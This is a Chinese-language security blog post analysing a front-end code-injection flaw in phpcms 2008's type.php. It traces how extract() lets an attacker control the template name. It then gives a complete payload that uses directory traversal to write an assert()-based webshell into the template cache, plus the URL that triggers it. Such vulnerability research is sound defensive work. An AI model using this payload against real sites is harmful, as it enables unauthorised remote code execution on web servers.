Chybeta

phpcms 2008 type.php 前台代码注入getshell漏洞分析

phpcms 2008 type.php 前台代码注入getshell漏洞分析

tpye.php中:

1
2
3
4
5
6
7
8
<?php
require dirname(__FILE__).'/include/common.inc.php';
...
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
...
?>

先看一下require进来的include/common.inc.php,在这个文件第58行中存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}

上面这段代码会通过@extract()将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过if(empty($template)) $template = 'type';这句话的指定,即$template变量可控。

跟入template函数,定义在 include/global.func.php:772

1
2
3
4
5
6
7
8
9
10
11
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}

这里会进行一些判断,TPL_REFRESH表示是否开启模板缓存自动刷新,默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了template_compile()函数,根据上一句的require_once可知定义在 include/template.func.php:2

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function template_compile($module, $template, $istag = 0)
{
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
}

重点看$content = ($istag || substr($template, 0, 4) == 'tag_')这一句。由于$template可控,只要$templatetag_开头,就可以使得此处的三元表达式进入到第一个分支中,即相当于:

1
$content = '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'

由于$template未经过滤,被直接拼接到内容中,所以如果指定tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss ,则拼接后的结果为

1
$content = '<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'

可以看到一句话木马已经写入了$content,之后file_put_contents($compiledtplfile, $content);将内容写入文件。

回到前面的template_compile函数中,TPL_CACHEPATH为常量PHPCMS_ROOT.'data/cache_template/; 可知 $compiledtplfile 为:

1
2
3
4
5
6
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
```4
即:
```php
$compiledtplfile = 'data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php';

所以payload末尾的../利用目录穿越使得最后的$compiledtplfile'data/cache_template/rss.tpl.php

为了解析不出错,payload末尾处的//注释了拼接后的其余部分,如上图。

此后访问 http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:phpcms 2008 type.php 前台代码注入getshell漏洞分析

文章作者:chybeta

发布时间:2018年11月29日 - 20:11

最后更新:2018年12月22日 - 17:12

原始链接:http://chybeta.github.io/2018/11/29/phpcms-2008-type-php-前台代码注入getshell漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。